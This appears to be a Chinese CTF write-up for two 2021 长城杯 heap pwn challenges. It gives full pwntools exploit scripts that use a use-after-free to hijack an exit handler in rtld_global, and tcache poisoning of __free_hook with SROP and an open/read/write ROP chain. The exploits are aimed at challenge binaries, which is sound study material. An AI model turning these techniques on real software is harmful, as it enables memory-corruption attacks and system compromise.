长城杯 2021 Pwn

许久未见我这水平能做的堆了…

K1ng_in_h3Ap_I

uaf直接写fastbin的fd,没有简单的leak,rtld_global上面找了一个0x7f,不断的往下写,要写4次,复用3848的exit的函数指针高字节,写底3字节到one_gadget。

附件:K1ng_in_h3Ap_I.zip

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./pwn")
libc   = ELF("./libc.so")
#io = process(myelf.path,env={"LD_PRELOAD" : libc.path})
#io = process(myelf.path)
io = remote("47.104.175.110",20066)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
add     = lambda idx,size   :  (sla(">>","1"),sla(":",str(idx)),sla(":",str(size)))
free    = lambda idx        :  (sla(">>","2"),sla(":",str(idx)))
edit    = lambda idx,data   :  (sla(">>","3"),sla(":",str(idx)),sla(":",str(data)))
leak    = lambda            :  (sla(">>","666"))

leak()
io.recvline()
libc.address = int(io.recvline(),16) - libc.symbols['printf']
log.success(hex(libc.address))

def aaw_on_libc(pad1,pad2,addr,data):
    add(5,pad1)
    add(0,0x60)
    add(1,0x60)
    add(2,240)
    add(3,0x60)
    free(2)
    add(4,0x60)

    free(0)
    free(1)
    free(0)

    edit(0,pad2)
    edit(4,addr)

    add(7,0x60)
    add(7,0x60)
    add(7,0x60)
    edit(7,data)
    add(8,0x80)

one_gadget  = libc.address + 0xf1247
rtld_global = libc.address + 0x5f0040

exit_1_addr = rtld_global  + 3493
exit_2_addr = rtld_global  + 3596
exit_3_addr = rtld_global  + 3699
exit_4_addr = rtld_global  + 3802

aaw_on_libc(0x80,"\x70",p32(exit_1_addr)[:3],'\x00'*0x5f+'\x7f')
aaw_on_libc(0xb0,"\x80",p32(exit_2_addr)[:3],'\x00'*0x5f+'\x7f')
aaw_on_libc(0xb0,"\x90",p32(exit_3_addr)[:3],'\x00'*0x5f+'\x7f')
aaw_on_libc(0xb0,"\xa0",p32(exit_4_addr)[:3],"\x00"*30+p32(one_gadget)[:3])

free(100)
io.interactive()

K1ng_in_h3Ap_II

任意edit任意show,禁了execve,SROP作栈迁移,ORW

附件:K1ng_in_h3Ap_II.zip

from pwn import *
context(os='linux', arch='amd64',log_level='debug')

myelf = ELF('./pwn')
libc = ELF('./libc.so')
io = process(myelf.path,env={"LD_PRELOAD" : libc.path})

sla     = lambda delim,data :  io.sendlineafter(delim,data)
add     = lambda idx,size   :  (sla(">>","1"),sla(":",str(idx)),sla(":",str(size)))
free    = lambda idx        :  (sla(">>","2"),sla(":",str(idx)))
edit    = lambda idx,data   :  (sla(">>","3"),sla(":",str(idx)),sla(":",str(data)))
show    = lambda idx        :  (sla(">>","4"),sla(":",str(idx)))
uu64    = lambda data       :  u64(data.ljust(8, b'\0'))


# leak heap
add(0,0x60)
show(0)
io.recvuntil(b'\n')
heap = uu64(io.recv(6)) - 0xb20
log.success(hex(heap))

# leak libc
add(1,0x50)
free(1)
edit(1, p64(heap+0x2a0))
add(1, 0x50)
add(1, 0x50)
show(1)
io.recv()
libc.address = uu64(io.recv(6)) + 0x1620
log.success(hex(libc.address))

def aaw(addr,data,idx,size):
    add(idx,size)
    free(idx)
    edit(idx,p64(addr))
    add(idx,size)
    add(idx,size)
    edit(idx,data)

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = heap+0x500
frame.rdx = 0x1000
frame.rip = libc.sym['read']
frame.rsp = heap+0x500

aaw(heap+0x200,bytes(frame)[:0x60],2,0x60)
aaw(heap+0x260,bytes(frame)[0x60:0xc0],2,0x60)
aaw(heap+0x2c0,bytes(frame)[0xc0:],2,0x40)

aaw(heap+0x200,"",3,0x30)
aaw(libc.symbols["__free_hook"],p64(libc.sym['setcontext'] + 53),2,0x20)
free(3)

r = ROP(libc, base=heap+0x500)
r.call('open',  ['./flag', 0, 0])
r.call('read',  [3, heap+0x900, 0x100])
r.call('write', [1, heap+0x900, 0x100])

io.sendline(flat(r.build()))
io.interactive()